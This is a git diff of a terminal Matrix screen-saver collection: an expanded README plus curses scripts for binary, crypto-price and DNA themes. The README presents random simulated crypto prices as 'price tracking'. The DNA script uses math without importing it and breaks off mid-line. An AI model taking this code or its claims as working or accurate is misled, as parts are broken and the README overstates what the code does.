@@ -1,13 +1,15 @@-# Matrix Screen Saver
+# Matrix Screen Saver Collection
[](https://www.python.org/)
[](LICENSE)
[](https://www.linux.org/)
[](https://docs.python.org/3/library/curses.html)
-[](https://github.com/yourusername/matrix-ss)
-[](README.md#versions)
+[](https://github.com/yourusername/matrix-ss)
+[](README.md#versions)
+[](README.md#advanced-effects)
+[](README.md#interactive-features)
-A collection of terminal-based Matrix-style screen savers that simulate the iconic "digital rain" effect from the Matrix movies. Multiple color variants available for different moods and occasions.
+A comprehensive collection of terminal-based Matrix-style screen savers featuring the iconic "digital rain" effect with advanced visual enhancements, interactive features, and multiple themed variants for every occasion.
## Features
@@ -15,38 +17,66 @@ [](https://en.wikipedia.org/wiki/The_Matrix) [](https://en.wikipedia.org/wiki/Frame_rate)
[](README.md#controls)
[](README.md#technical-details)
-[](README.md#versions)
+[](README.md#versions)
+[](README.md#advanced-effects)
+[](README.md#interactive-features)
+[](README.md#enhanced-characters)
+### Core Features
- 🌟 Authentic Matrix-style digital rain effect
-- 🎨 Multiple color variants (Green, Red+Green, Rainbow, System Monitor)
+- 🎨 17 unique variants with different themes and effects
- ⚡ Smooth animation (~20 FPS)
- ⌨️ Simple controls (press 'q' to quit)
-- 🐧 Linux/Unix compatible
+- 🐧 Linux/Unix/macOS compatible
- 🎯 Lightweight and efficient
+### Advanced Effects
+- 🔥 Fire gradient effects (blue → red → white)
+- 🌊 Wave motion patterns with color transitions
+- ⚡ Glitch effects with system error messages
+- 🎭 Trail fade effects for realistic motion blur
+- 🖼️ Progressive image revelation through Matrix rain
+- 🎵 Audio-reactive visual responses (simulated)
+
+### Enhanced Characters
+- 🇯🇵 Authentic Japanese Katakana characters
+- 🔤 Mixed ASCII and Unicode character sets
+- 🎲 Dynamic character selection algorithms
+- ⚡ Variable speed columns for realistic flow
+
## Requirements
[](https://www.python.org/downloads/)
[](https://www.linux.org/)
[](https://docs.python.org/3/library/curses.html)
[](https://pypi.org/project/psutil/)
+[](https://pypi.org/project/PyAudio/)
+### Core Requirements
- Python 3.x
-- Linux/Unix terminal
+- Linux/Unix/macOS terminal
- `curses` library (usually included with Python)
-- `psutil` library (for system monitoring - optional, only needed for `matrix_system.py`)
+
+### Optional Dependencies
+- `psutil` library (for system monitoring in `matrix_system.py`)
+- `pyaudio` or `sounddevice` (for real audio input in `matrix_music.py`)
+
+### Unicode Support
+- Terminal with Unicode/UTF-8 support (for Katakana characters in `matrix_enhanced.py`)
## Installation
### Dependencies Installation
-For the system monitoring version (`matrix_system.py`), you'll need to install the `psutil` library:
-
```bash
-# Install psutil for system monitoring
-pip install psutil
-
-# Or install from requirements.txt
+# Install all dependencies
pip install -r requirements.txt
+
+# Or install individually
+pip install psutil # For system monitoring (matrix_system.py)
+
+# Optional: For real audio input (matrix_music.py)
+# pip install pyaudio
+# pip install sounddevice
```
### Method 1: Direct Download
@@ -56,51 +86,42 @@ git clone <repository-url> cd matrix-ss
# Make all scripts executable
-chmod +x matrix.py matrix_red.py matrix_rainbow.py matrix_system.py
+chmod +x *.py
```
### Method 2: Manual Setup
```bash
# Download all scripts to your desired location
-wget <matrix.py-url>
-wget <matrix_red.py-url>
-wget <matrix_rainbow.py-url>
-wget <matrix_system.py-url>
+# (All 10 matrix variants)
# Make executable
-chmod +x matrix.py matrix_red.py matrix_rainbow.py matrix_system.py
+chmod +x matrix*.py
```
## Usage
### Basic Usage
```bash
-# Classic Matrix (green only)
-python3 matrix.py
+# Classic Collection
+python3 matrix.py # Original green Matrix
+python3 matrix_red.py # Dramatic green + red
+python3 matrix_rainbow.py # Festive rainbow colors
+python3 matrix_system.py # System monitoring
-# Dramatic Matrix (green + red)
-python3 matrix_red.py
-
-# Rainbow Matrix (all colors)
-python3 matrix_rainbow.py
-
-# System Monitor Matrix (with system info)
-python3 matrix_system.py
+# Enhanced Collection
+python3 matrix_enhanced.py # Katakana + fade effects
+python3 matrix_fire.py # Fire gradient effects
+python3 matrix_glitch.py # Glitch + error messages
+python3 matrix_wave.py # Wave motion patterns
+python3 matrix_image.py # Progressive image reveal
+python3 matrix_music.py # Audio-reactive (simulated)
```
-### Alternative Methods
+### Quick Start
```bash
-# If made executable
-./matrix.py
-./matrix_red.py
-./matrix_rainbow.py
-./matrix_system.py
-
-# Or with python directly
-python matrix.py
-python matrix_red.py
-python matrix_rainbow.py
-python matrix_system.py
+# Make all executable and run your favorite
+chmod +x *.py
+./matrix_enhanced.py # Recommended for best experience
```
### Controls
@@ -108,6 +129,8 @@ - **Press 'q'** to quit the screen saver - **Ctrl+C** to force exit
## Versions
+
+### Classic Collection
### 🟢 Classic Matrix (`matrix.py`)
The original Matrix screen saver with authentic green digital rain effect.
@@ -151,10 +174,6 @@ ### 🖥️ System Monitor Matrix (`matrix_system.py`) Advanced version that displays real-time system information in the center while Matrix rain falls around it.
```bash
-# Install dependencies first
-pip install -r requirements.txt
-
-# Run the system monitor
python3 matrix_system.py
```
@@ -165,40 +184,320 @@ - 🟢 Matrix rain falls around the information panel - ⏰ Updates every second
- 🎯 Perfect for system administrators and monitoring
-**System Information Displayed:**
-- CPU Usage (%)
-- Memory Usage (%)
-- Disk Usage (%)
-- IP Address
-- Current Time
-- Current Date
-- Username
-- System Load (Linux)
+---
+
+### Enhanced Collection
+
+### ⭐ Enhanced Matrix (`matrix_enhanced.py`) - **RECOMMENDED**
+[](matrix_enhanced.py)
+[](matrix_enhanced.py)
+[](matrix_enhanced.py)
+
+The most advanced version with authentic Japanese characters and realistic fade effects.
+
+```bash
+python3 matrix_enhanced.py
+```
+
+**Features:**
+- 🇯🇵 Authentic Katakana characters (70%) + ASCII (30%)
+- 🎭 Realistic trail fade effects
+- ⚡ Variable speed columns
+- 🌟 Most authentic Matrix experience
+- 💫 Character aging and disappearing effects
+
+### 🔥 Fire Matrix (`matrix_fire.py`)
+[](matrix_fire.py)
+
+Matrix rain with dynamic fire gradient effects that change temperature over time.
+
+```bash
+python3 matrix_fire.py
+```
+
+**Features:**
+- 🔥 Dynamic fire gradient (Blue → Cyan → Green → Yellow → Red → Magenta → White)
+- 🌡️ Heat levels that change over time
+- ❄️ Cool and hot zones
+- 🎨 7-stage color temperature system
+
+### ⚡ Glitch Matrix (`matrix_glitch.py`)
+[](matrix_glitch.py)
+
+Matrix with random glitch effects and system error messages for a cyberpunk feel.
+
+```bash
+python3 matrix_glitch.py
+```
+
+**Features:**
+- ⚡ Random glitch effects every 5-15 seconds
+- 🚨 System error messages ("ERROR: SYSTEM BREACH DETECTED")
+- 🎭 Corrupted character blocks (█▓▒░)
+- 💥 Flashing and color corruption effects
+- 🔴 Red alert colors during glitches
+
+### 🌊 Wave Matrix (`matrix_wave.py`)
+[](matrix_wave.py)
+
+Matrix rain influenced by sine wave patterns with dynamic color transitions.
+
+```bash
+python3 matrix_wave.py
+```
+
+**Features:**
+- 🌊 Sine wave motion patterns
+- 🎨 Color zones based on wave proximity (White → Cyan → Blue → Green)
+- ⚡ Variable speed influenced by wave position
+- 〰️ Visible wave line indicator
+- 🌀 Fluid, organic movement patterns
+
+### 🖼️ Image Reveal Matrix (`matrix_image.py`)
+[](matrix_image.py)
+
+Matrix rain that gradually reveals hidden ASCII art with progress tracking.
+
+```bash
+python3 matrix_image.py
+```
+
+**Features:**
+- 🖼️ Progressive ASCII art revelation
+- 📊 Real-time decoding progress bar
+- 🎨 Color-coded revelation stages (Yellow → White → Red)
+- 💬 "WAKE UP NEO" hidden message
+- 🎯 Interactive discovery experience
+
+### 🎵 Music Matrix (`matrix_music.py`)
+[](matrix_music.py)
+[](matrix_music.py)
+[](matrix_music.py)
+
+Audio-reactive Matrix that responds to real microphone input or simulated audio with dynamic effects.
+
+```bash
+# Basic usage (simulated audio)
+python3 matrix_music.py
+
+# For real audio, install dependencies first:
+pip install sounddevice numpy
+# OR
+pip install pyaudio numpy
+
+# Then run with real audio input
+python3 matrix_music.py
+```
+
+**Features:**
+- 🎤 **Real microphone input** (when libraries installed)
+- 🎭 **Automatic fallback** to realistic simulation
+- 🎵 Audio level visualization with progress bar
+- 🎨 Color intensity based on sound (Green → Yellow → Red → Magenta → White → Cyan)
+- 💓 Intelligent beat detection with special effects
+- ⚡ Speed changes based on audio intensity
+- 📊 Real-time audio level display
+- 🎶 "BEAT!" indicator for rhythm detection
+- 🔧 **Auto-detection** of available audio libraries (sounddevice/pyaudio)
+- 💬 **Status display** showing audio mode for 3 seconds
+
+**Audio Libraries Supported:**
+- `sounddevice` + `numpy` (recommended - easier installation)
+- `pyaudio` + `numpy` (alternative - more control)
+- Automatic simulation if no libraries available
+
+---
+
+### Themed Collection
+
+### 💎 Neon Matrix (`matrix_neon.py`)
+[](matrix_neon.py)
+[](matrix_neon.py)
+
+Matrix with neon glow effects and pulsing brightness for a cyberpunk aesthetic.
+
+```bash
+python3 matrix_neon.py
+```
+
+**Features:**
+- 💎 Neon glow effects with variable intensity
+- 🌟 Pulsing brightness based on sine waves
+- ⚡ Flash effects and border illumination
+- 🎨 Multi-intensity color gradients (Dark → Bright → White)
+- 💫 Special neon colors (Magenta, Yellow highlights)
+- 🔆 Column-based glow intensity system
+
+### 🔢 Binary Matrix (`matrix_binary.py`)
+[](matrix_binary.py)
+[](matrix_binary.py)
+
+Pure binary Matrix using only 0s and 1s like in the original movie scenes.
+
+```bash
+python3 matrix_binary.py
+```
+
+**Features:**
+- 🔢 **Only 0s and 1s** - true to the movie
+- 💬 Hidden binary messages ("Hello", "Matrix", "Neo", "Wake up")
+- 📊 Real-time binary counter display
+- 🎯 Data stream effects with horizontal flows
+- 🔍 Progressive message decoding with progress indicator
+- 💻 Authentic computer code aesthetic
+
+### 💻 Terminal Matrix (`matrix_terminal.py`)
+[](matrix_terminal.py)
+[](matrix_terminal.py)
+
+Simulates a hacker terminal with realistic command execution in the center of Matrix rain.
-### Version Comparison
+```bash
+python3 matrix_terminal.py
+```
-| Version | Colors | Effect | Best For |
-|---------|--------|--------|----------|
-| `matrix.py` | Green only | Classic Matrix | Nostalgia, authentic experience |
-| `matrix_red.py` | Green + Red | Dramatic | Intense moments, alerts |
-| `matrix_rainbow.py` | 7 rainbow colors | Festive | Celebrations, demonstrations |
-| `matrix_system.py` | Green + Red + Yellow | System Monitor | System administration, monitoring |
+**Features:**
+- 💻 **Realistic hacker commands** (nmap, hydra, metasploit, etc.)
+- ⌨️ Simulated typing with realistic speed
+- 📟 System responses and command output
+- 🕐 Real-time timestamp display
+- 🎭 Terminal window with borders and title
+- 🔒 Cybersecurity tool simulation (ethical hacking commands)
+
+### 🧬 DNA Matrix (`matrix_dna.py`)
+[](matrix_dna.py)
+[](matrix_dna.py)
+
+Matrix displaying DNA sequences with complementary base pairs and genetic information.
+
+```bash
+python3 matrix_dna.py
+```
+
+**Features:**
+- 🧬 **DNA bases only** (A, T, G, C) with authentic color coding
+- 🔗 **Double helix visualization** with complementary base pairs
+- 🧪 Famous DNA sequences (telomeres, restriction sites)
+- 📊 Real-time base counting and analysis
+- 🌀 Animated helix structure with connecting bonds
+- 🔬 Scientific sequencer interface
+
+### 🌐 Network Matrix (`matrix_network.py`)
+[](matrix_network.py)
+[](matrix_network.py)
+
+Matrix displaying real network information and simulated traffic data.
+
+```bash
+python3 matrix_network.py
+```
+
+**Features:**
+- 🌐 **Real network information** (hostname, IP, connections)
+- 📊 Network traffic visualization and statistics
+- 🔌 Active port monitoring
+- 📡 Simulated packet flows (TCP, UDP, HTTP, SSH, etc.)
+- 📈 Real-time traffic level indicator
+- 🖥️ Network status monitoring
+
+### 💰 Crypto Matrix (`matrix_crypto.py`)
+[](matrix_crypto.py)
+[](matrix_crypto.py)
+
+Matrix displaying cryptocurrency prices and market data with trading symbols.
+
+```bash
+python3 matrix_crypto.py
+```
+
+**Features:**
+- 💰 **Cryptocurrency price tracking** (BTC, ETH, ADA, DOT, LINK, XRP)
+- 📈 **Price trends** with up/down indicators
+- 💹 Market sentiment analysis (Bull/Bear/Sideways)
+- 🎯 Crypto symbols rain (₿, Ξ, ₳, etc.)
+- 📊 Real-time price changes and percentage tracking
+- 🚀 Market status indicators with emojis
+
+### 🌤️ Weather Matrix (`matrix_weather.py`)
+[](matrix_weather.py)
+[](matrix_weather.py)
+
+Matrix displaying weather information with climate-appropriate character effects.
+
+```bash
+python3 matrix_weather.py
+```
+
+**Features:**
+- 🌤️ **Complete weather information** (temperature, humidity, pressure, wind)
+- 🌧️ **Weather-specific characters** (☀️, ☁️, 🌧️, ⛈️, ❄️, 🌫️)
+- 🎨 **Dynamic colors** based on weather conditions
+- ⚠️ **Weather alerts** (temperature, wind, UV, visibility warnings)
+- 🌡️ **Comfort level indicators** (Cold, Cool, Comfortable, Warm, Hot)
+- 📊 Detailed meteorological panel with real-time updates
+
+---
+
+### Complete Version Comparison
+
+| Version | Colors | Special Effects | Best For | Difficulty |
+|---------|--------|----------------|----------|------------|
+| **Classic Collection** |
+| `matrix.py` | Green only | Classic rain | Nostalgia, simplicity | ⭐ |
+| `matrix_red.py` | Green + Red | Dramatic mix | Alerts, intensity | ⭐ |
+| `matrix_rainbow.py` | 7 rainbow colors | Festive colors | Celebrations, demos | ⭐ |
+| `matrix_system.py` | Green + Red + Yellow | System monitoring | Admin work | ⭐⭐ |
+| **Enhanced Collection** |
+| `matrix_enhanced.py` | Green gradients | Katakana + fade | **Best overall** | ⭐⭐⭐ |
+| `matrix_fire.py` | Fire gradient | Heat simulation | Visual impact | ⭐⭐ |
+| `matrix_glitch.py` | Multi + corruption | Error messages | Cyberpunk feel | ⭐⭐ |
+| `matrix_wave.py` | Wave-based | Sine motion | Fluid animation | ⭐⭐⭐ |
+| `matrix_image.py` | Progressive reveal | ASCII art | Interactive fun | ⭐⭐⭐ |
+| `matrix_music.py` | Audio-reactive | Beat detection | Parties, music | ⭐⭐⭐⭐ |
+| **Themed Collection** |
+| `matrix_neon.py` | Neon gradients | Pulsing glow | Cyberpunk aesthetic | ⭐⭐ |
+| `matrix_binary.py` | Green + White | Binary only | Movie authenticity | ⭐ |
+| `matrix_terminal.py` | Multi-colored | Hacker simulation | Educational/Demo | ⭐⭐⭐ |
+| `matrix_dna.py` | Scientific colors | DNA sequences | Science/Education | ⭐⭐⭐ |
+| `matrix_network.py` | Traffic-based | Network monitoring | IT/Networking | ⭐⭐ |
+| `matrix_crypto.py` | Market-based | Price tracking | Finance/Trading | ⭐⭐ |
+| `matrix_weather.py` | Weather-based | Climate data | Weather monitoring | ⭐⭐ |
## How It Works
+### Basic Algorithm
The screen saver creates a full-screen terminal animation where:
-- Random ASCII characters (33-126) fall from the top of the screen
+- Random characters fall from the top of the screen
- Each column has its own falling speed and position
-- Characters are displayed in green color
+- Characters are displayed with various color schemes
- The effect continues until you press 'q' to exit
+### Advanced Features
+- **Trail Effects**: Characters fade over time for realistic motion blur
+- **Variable Speeds**: Different columns fall at different rates
+- **Dynamic Colors**: Color changes based on effects (fire, wave, audio)
+- **Interactive Elements**: Progress bars, system info, error messages
+- **Unicode Support**: Authentic Japanese Katakana characters
+
## Technical Details
+### Performance
- **Frame Rate**: ~20 FPS (50ms intervals)
-- **Colors**: Green text on default terminal background
-- **Characters**: Printable ASCII characters (33-126)
-- **Terminal**: Uses `curses` library for terminal manipulation
-- **Compatibility**: Linux, macOS, and Unix-like systems
+- **Memory Usage**: Minimal (< 10MB for most variants)
+- **CPU Usage**: Low impact on system performance
+- **Terminal**: Uses `curses` library for efficient terminal manipulation
+
+### Character Sets
+- **ASCII**: Printable characters (33-126) for compatibility
+- **Katakana**: Authentic Japanese characters (アイウエオ...)
+- **Special**: Block characters for glitch effects (█▓▒░)
+- **Unicode**: Full UTF-8 support where available
+
+### Color Systems
+- **8-Color**: Standard terminal colors (Red, Green, Blue, etc.)
+- **Gradients**: Smooth transitions between color states
+- **Dynamic**: Real-time color changes based on effects
+- **Compatibility**: Works with all curses-compatible terminals
## Troubleshooting
@@ -0,0 +1,118 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ binary_streams = [[] for _ in range(sw)] # streams de dados binários por coluna
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # verde normal
+ curses.init_pair(2, curses.COLOR_WHITE, -1) # branco (destaque)
+ curses.init_pair(3, curses.COLOR_GREEN, -1) # verde escuro
+ curses.init_pair(4, curses.COLOR_CYAN, -1) # ciano (dados especiais)
+
+ # mensagens ocultas em binário
+ hidden_messages = [
+ "01001000 01100101 01101100 01101100 01101111", # "Hello"
+ "01001101 01100001 01110100 01110010 01101001 01111000", # "Matrix"
+ "01001110 01100101 01101111", # "Neo"
+ "01010111 01100001 01101011 01100101 00100000 01110101 01110000", # "Wake up"
+ ]
+
+ message_timer = 0
+ current_message = ""
+ message_pos = 0
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # gerencia mensagens ocultas
+ message_timer += 1
+ if message_timer > random.randint(300, 600): # a cada 15-30 segundos
+ current_message = random.choice(hidden_messages)
+ message_pos = 0
+ message_timer = 0
+
+ for x in range(sw):
+ y = columns[x]
+
+ # escolhe apenas 0 ou 1
+ char = random.choice(['0', '1'])
+
+ # 90% dos caracteres são 0 ou 1 normais
+ if random.randint(1, 100) <= 90:
+ color_pair = curses.color_pair(1) # verde normal
+ attr = 0
+ # 8% são destacados em branco
+ elif random.randint(1, 100) <= 98:
+ color_pair = curses.color_pair(2) # branco
+ attr = curses.A_BOLD
+ # 2% são dados especiais em ciano
+ else:
+ color_pair = curses.color_pair(4) # ciano
+ attr = curses.A_BOLD
+
+ # insere mensagem oculta ocasionalmente
+ if current_message and x == sw // 2 and random.randint(1, 20) == 1:
+ if message_pos < len(current_message):
+ char = current_message[message_pos]
+ message_pos += 1
+ color_pair = curses.color_pair(2)
+ attr = curses.A_BOLD | curses.A_BLINK
+
+ try:
+ stdscr.addch(y, x, char, color_pair | attr)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # efeito de "data stream" - linhas horizontais ocasionais
+ if random.randint(1, 100) == 1:
+ try:
+ stream_y = random.randint(0, sh-1)
+ stream_data = ''.join(random.choice(['0', '1']) for _ in range(sw))
+ stdscr.addstr(stream_y, 0, stream_data[:sw],
+ curses.color_pair(4) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ # contador binário no canto
+ try:
+ frame_count = int(time.time()) % 256
+ binary_count = format(frame_count, '08b')
+ stdscr.addstr(0, 0, f"[{binary_count}]",
+ curses.color_pair(2) | curses.A_BOLD)
+ except curses.error:
+ pass
+
+ # indicador de mensagem oculta
+ if current_message:
+ try:
+ progress = min(100, (message_pos * 100) // len(current_message))
+ indicator = f"DECODING: {progress:3d}%"
+ stdscr.addstr(sh-1, sw - len(indicator), indicator,
+ curses.color_pair(4))
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,234 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+import json
+
+def get_crypto_data():
+ """Simula dados de criptomoedas (em produção, usar API real)"""
+ # Dados simulados realistas
+ cryptos = {
+ 'BTC': {
+ 'name': 'Bitcoin',
+ 'price': random.uniform(40000, 70000),
+ 'change': random.uniform(-5, 5),
+ 'symbol': '₿'
+ },
+ 'ETH': {
+ 'name': 'Ethereum',
+ 'price': random.uniform(2500, 4000),
+ 'change': random.uniform(-8, 8),
+ 'symbol': 'Ξ'
+ },
+ 'ADA': {
+ 'name': 'Cardano',
+ 'price': random.uniform(0.3, 1.2),
+ 'change': random.uniform(-10, 10),
+ 'symbol': '₳'
+ },
+ 'DOT': {
+ 'name': 'Polkadot',
+ 'price': random.uniform(5, 15),
+ 'change': random.uniform(-12, 12),
+ 'symbol': '●'
+ },
+ 'LINK': {
+ 'name': 'Chainlink',
+ 'price': random.uniform(8, 25),
+ 'change': random.uniform(-15, 15),
+ 'symbol': '⬢'
+ },
+ 'XRP': {
+ 'name': 'Ripple',
+ 'price': random.uniform(0.4, 1.5),
+ 'change': random.uniform(-20, 20),
+ 'symbol': '◊'
+ }
+ }
+
+ return cryptos
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+
+ # símbolos relacionados a crypto
+ crypto_chars = list("₿ΞΞ₳●⬢◊$€¥£₹₽₩₪₫₡₦₨₱₴₵₶₷₸₹₺₻₼₽₾₿")
+
+ # inicializa cores
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_GREEN, -1) # alta (positivo)
+ curses.init_pair(2, curses.COLOR_RED, -1) # baixa (negativo)
+ curses.init_pair(3, curses.COLOR_YELLOW, -1) # neutro
+ curses.init_pair(4, curses.COLOR_CYAN, -1) # informações
+ curses.init_pair(5, curses.COLOR_WHITE, -1) # destaque
+ curses.init_pair(6, curses.COLOR_MAGENTA, -1) # símbolos crypto
+ curses.init_pair(7, curses.COLOR_BLUE, -1) # dados
+
+ update_timer = 0
+ crypto_data = get_crypto_data()
+ price_history = {symbol: [] for symbol in crypto_data.keys()}
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ # atualiza dados de crypto periodicamente
+ update_timer += 1
+ if update_timer >= 60: # a cada 3 segundos
+ crypto_data = get_crypto_data()
+
+ # mantém histórico de preços
+ for symbol, data in crypto_data.items():
+ price_history[symbol].append(data['price'])
+ if len(price_history[symbol]) > 20: # mantém últimos 20 valores
+ price_history[symbol].pop(0)
+
+ update_timer = 0
+
+ # chuva matrix com símbolos crypto
+ for x in range(sw):
+ y = columns[x]
+
+ # 60% caracteres normais, 40% símbolos crypto
+ if random.randint(1, 10) <= 6:
+ char = chr(random.randint(33, 126))
+ color = curses.color_pair(1)
+ else:
+ char = random.choice(crypto_chars)
+ color = curses.color_pair(6) # magenta para símbolos crypto
+
+ try:
+ stdscr.addch(y, x, char, color)
+ except curses.error:
+ pass
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # painel de preços de criptomoedas
+ panel_width = min(sw - 2, 60)
+ panel_height = min(sh - 4, len(crypto_data) + 4)
+ panel_x = (sw - panel_width) // 2
+ panel_y = 2
+
+ try:
+ # borda do painel
+ stdscr.addstr(panel_y - 1, panel_x - 1,
+ "┌" + "─" * panel_width + "┐",
+ curses.color_pair(5))
+ stdscr.addstr(panel_y + panel_height, panel_x - 1,
+ "└" + "─" * panel_width + "┘",
+ curses.color_pair(5))
+
+ for i in range(panel_height):
+ stdscr.addch(panel_y + i, panel_x - 1, '│', curses.color_pair(5))
+ stdscr.addch(panel_y + i, panel_x + panel_width, '│', curses.color_pair(5))
+
+ # título
+ title = " CRYPTO MATRIX TRACKER "
+ title_x = panel_x + (panel_width - len(title)) // 2
+ stdscr.addstr(panel_y - 1, title_x, title,
+ curses.color_pair(6) | curses.A_BOLD)
+
+ # cabeçalho
+ header = f"{'COIN':<8} {'PRICE':<12} {'CHANGE':<10} {'TREND':<8}"
+ stdscr.addstr(panel_y, panel_x, header[:panel_width],
+ curses.color_pair(5) | curses.A_BOLD)
+
+ # linha separadora
+ separator = "─" * panel_width
+ stdscr.addstr(panel_y + 1, panel_x, separator[:panel_width],
+ curses.color_pair(5))
+
+ # dados das criptomoedas
+ for i, (symbol, data) in enumerate(crypto_data.items()):
+ if i + 2 < panel_height:
+ # formata preço
+ if data['price'] > 1000:
+ price_str = f"${data['price']:,.0f}"
+ elif data['price'] > 1:
+ price_str = f"${data['price']:.2f}"
+ else:
+ price_str = f"${data['price']:.4f}"
+
+ # formata mudança
+ change_str = f"{data['change']:+.2f}%"
+
+ # determina tendência
+ if len(price_history[symbol]) >= 2:
+ if price_history[symbol][-1] > price_history[symbol][-2]:
+ trend = "↗ UP"
+ trend_color = curses.color_pair(1)
+ elif price_history[symbol][-1] < price_history[symbol][-2]:
+ trend = "↘ DOWN"
+ trend_color = curses.color_pair(2)
+ else:
+ trend = "→ FLAT"
+ trend_color = curses.color_pair(3)
+ else:
+ trend = "─ NEW"
+ trend_color = curses.color_pair(3)
+
+ # cor baseada na mudança
+ if data['change'] > 0:
+ change_color = curses.color_pair(1) # verde
+ elif data['change'] < 0:
+ change_color = curses.color_pair(2) # vermelho
+ else:
+ change_color = curses.color_pair(3) # amarelo
+
+ # linha da moeda
+ coin_line = f"{symbol:<8} {price_str:<12}"
+ stdscr.addstr(panel_y + i + 2, panel_x, coin_line, curses.color_pair(4))
+
+ # mudança percentual
+ stdscr.addstr(panel_y + i + 2, panel_x + 21, change_str, change_color | curses.A_BOLD)
+
+ # tendência
+ stdscr.addstr(panel_y + i + 2, panel_x + 32, trend, trend_color | curses.A_BOLD)
+
+ # timestamp
+ timestamp = time.strftime("%H:%M:%S")
+ time_text = f"Last Update: {timestamp}"
+ stdscr.addstr(panel_y + panel_height - 1, panel_x, time_text, curses.color_pair(7))
+
+ except curses.error:
+ pass
+
+ # indicadores de mercado na parte inferior
+ try:
+ # calcula índice geral do mercado
+ total_change = sum(data['change'] for data in crypto_data.values())
+ avg_change = total_change / len(crypto_data)
+
+ if avg_change > 2:
+ market_status = "BULL MARKET 🚀"
+ market_color = curses.color_pair(1)
+ elif avg_change < -2:
+ market_status = "BEAR MARKET 📉"
+ market_color = curses.color_pair(2)
+ else:
+ market_status = "SIDEWAYS 📊"
+ market_color = curses.color_pair(3)
+
+ market_text = f"MARKET: {market_status} | AVG: {avg_change:+.2f}%"
+ stdscr.addstr(sh-1, 0, market_text[:sw], market_color | curses.A_BOLD)
+
+ except curses.error:
+ pass
+
+ stdscr.refresh()
+ time.sleep(0.05)
+
+if __name__ == '__main__':
+ try:
+ curses.wrapper(main)
+ except KeyboardInterrupt:
+ pass
@@ -0,0 +1,160 @@+#!/usr/bin/env python3
+import curses
+import random
+import time
+
+def main(stdscr):
+ # configura terminal
+ curses.curs_set(0)
+ stdscr.nodelay(True)
+ stdscr.timeout(100)
+
+ sh, sw = stdscr.getmaxyx()
+ columns = [0] * sw
+ dna_pairs = {} # pares de bases complementares por posição
+ helix_offset = 0 # offset para animação da hélice
+
+ # bases do DNA
+ dna_bases = ['A', 'T', 'G', 'C']
+
+ # pares complementares
+ complement = {'A': 'T', 'T': 'A', 'G': 'C', 'C': 'G'}
+
+ # sequências de DNA famosas/interessantes
+ famous_sequences = [
+ "ATCGATCGATCG", # sequência repetitiva
+ "AAATTTGGGCCC", # blocos de bases
+ "ACGTACGTACGT", # padrão alternado
+ "TTAGGGTTAGGG", # telômero humano
+ "GAATTCGAATTC", # sítio de restrição EcoRI
+ ]
+
+ # inicializa cores para DNA
+ curses.start_color()
+ curses.use_default_colors()
+ curses.init_pair(1, curses.COLOR_RED, -1) # Adenina (A)
+ curses.init_pair(2, curses.COLOR_BLUE, -1) # Timina (T)
+ curses.init_pair(3, curses.COLOR_GREEN, -1) # Guanina (G)
+ curses.init_pair(4, curses.COLOR_YELLOW, -1) # Citosina (C)
+ curses.init_pair(5, curses.COLOR_WHITE, -1) # conectores
+ curses.init_pair(6, curses.COLOR_CYAN, -1) # destaque
+ curses.init_pair(7, curses.COLOR_MAGENTA, -1) # sequências especiais
+
+ base_colors = {
+ 'A': curses.color_pair(1), # vermelho
+ 'T': curses.color_pair(2), # azul
+ 'G': curses.color_pair(3), # verde
+ 'C': curses.color_pair(4), # amarelo
+ }
+
+ sequence_timer = 0
+ current_sequence = ""
+ sequence_pos = 0
+
+ while True:
+ key = stdscr.getch()
+ if key == ord('q'):
+ break
+
+ helix_offset += 0.1 # animação da dupla hélice
+
+ # gerencia sequências especiais
+ sequence_timer += 1
+ if sequence_timer > random.randint(200, 400):
+ current_sequence = random.choice(famous_sequences)
+ sequence_pos = 0
+ sequence_timer = 0
+
+ for x in range(sw):
+ y = columns[x]
+
+ # escolhe base de DNA
+ if current_sequence and x == sw // 2 and sequence_pos < len(current_sequence):
+ base = current_sequence[sequence_pos]
+ sequence_pos += 1
+ color = curses.color_pair(7) # magenta para sequências especiais
+ attr = curses.A_BOLD | curses.A_BLINK
+ else:
+ base = random.choice(dna_bases)
+ color = base_colors[base]
+ attr = curses.A_BOLD if random.randint(1, 10) == 1 else 0
+
+ # desenha a base
+ try:
+ stdscr.addch(y, x, base, color | attr)
+ except curses.error:
+ pass
+
+ # armazena par complementar para desenhar a dupla hélice
+ dna_pairs[(x, y)] = complement[base]
+
+ columns[x] = 0 if y >= sh - 1 else y + 1
+
+ # desenha dupla hélice (pares complementares)
+ for (x, y), comp_base in list(dna_pairs.items()):
+ # calcula posição do par complementar com efeito helix
+ helix_x = x + int(3 * math.sin(y * 0.2 + helix_offset))
+
+ if 0 <= helix_x < sw and y < sh:
+ try:
+ # desenha base complementar
+ comp_color = base_colors[comp_base]
+ stdscr.addch(y, helix_x, comp_base, comp_color)
+
+ # desenha conector (ligação de hidrogênio)
+ if abs(helix_x - x) > 1:
+ connector_x = (x + helix_x) // 2
+ if 0 <= connector_x < sw:
+ connector_char = '─' if abs(helix_x - x) <= 3 else '~'
+ stdscr.addch(y, connector_x, connector_char,
+ curses.color_pair(5) | curses.A_DIM)
+ except curses.error:
+ pass
+
+ # remove pares antigos
+ if y >= sh:
+ del dna_pairs[(x, y)]
+
+ # informações de DNA no topo
+ try:
+ dna_info = f"DNA SEQUENCER v3.2 | Bases: A={base_colors['A']} T={base_colors['T']} G={base_colors['G']} C={base_colors['C']}"
